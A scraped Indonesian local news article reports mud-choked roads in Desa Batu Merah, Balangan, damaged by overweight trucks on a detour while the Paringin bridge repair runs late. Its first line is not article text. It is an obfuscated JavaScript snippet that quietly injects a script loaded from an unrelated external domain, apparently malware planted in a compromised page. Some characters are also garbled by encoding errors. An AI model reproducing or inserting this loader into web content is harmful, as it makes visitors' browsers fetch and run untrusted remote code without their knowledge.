(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Kondisi jalan di Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan, tak layak lagi disebut jalan, penuh lumpur kubangan bak bubur.
Pantauan Kanalkalimantan.com, Senin (20/12/2021) pagi, dilintasi angkutan besar melebihi tonase akibat jalur alternatif pengganti jalan Trans Kalimantan yang terputus karena pengerjaan jembatan yang belum rampung.
Kondisi jalan di Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan, tak layak lagi disebut jalan, penuh kubangan. Foto: alfi
Setiap hari Warga Desa Batu Merah melewati jalan rusak berdebu bila hari panas, sebaliknya akan menjadi penuh lumpur saat hujan. Aktivitas warga terhampat dan menyulitkan untuk dilalui.
Baca juga:Â 206 Biji Diduga Granat Ditemukan Pemburu Harta Karun
Warga sekitar pun meminta pemerintah daerah segera memperbaiki jalan yang semakin hancur akibat dilintasi truk-truk yang tonase melebihi kapasitas.
Warga Desa Batu Merah, Ardian (51), mengeluhkan kondisi jalan bila mana hujan banyak truk-truk besar melintas bahkan ada yang mengalami amblas. Banyak lubang yang dalam sepanjang jalan rusak yang ada di desanya.
“Kerusakan jalan yang ada di desa kami sudah terjadi sejak satu bulan lebih, karena banyak truk melibihi tonase melintas, ditambah hujan yang terus mengguyur, akibatnya tanahnya makin hancur jadi bubur,†ungkap Ardian.
Ia khawatir apabila jembatan utama di ruas antar provinsi tepatnya di Kota Paringin belum juga rampung, jalan di desanya menjadi korban dan akan semakin parah, buntutnya menyusahkan aktivitas warga.
Baca juga: ‘Santap Bubur’ di Ruas Liang Anggang-Batibati, Ketua RT: Sudah Puas Menjajaki Jalan Penuh Lumpur!
Kondisi jalan di Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan, tak layak lagi disebut jalan, penuh kubangan. Foto: alfi
Sebelumnya, Balai Besar Pelaksana Jalan Nasional (BBPJN) XI Banjarmasin melalui Pejabat Pembuat Komitmen (PPK) Dwi Wahyono mengatakan, rencana pengerjaan jembatan Paringin seharusnya selesai pada akhir Desember 2021 ini, terpaksa harus diundur hingga Februari 2022 baru bisa selesai.
“Kami memberikan rentang waktu kepada pihak ketiga untuk pengerjaan, padahal kontraktor sudah diminta untuk cepat dalam penanganan, karena jembatan Paringin ini merupakan objek vital,†katanya.
Dwi Wahyono menyebutkan bahwa pihak kontraktor tidak profesional terhadap kalender pengerjaan proyek. Selain itu ujarnya, adanya refocusing anggaran dari pusat membuat proyek tersebut diundur. (kanalkalimantan.com/alfi)
Reporter : alfi
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.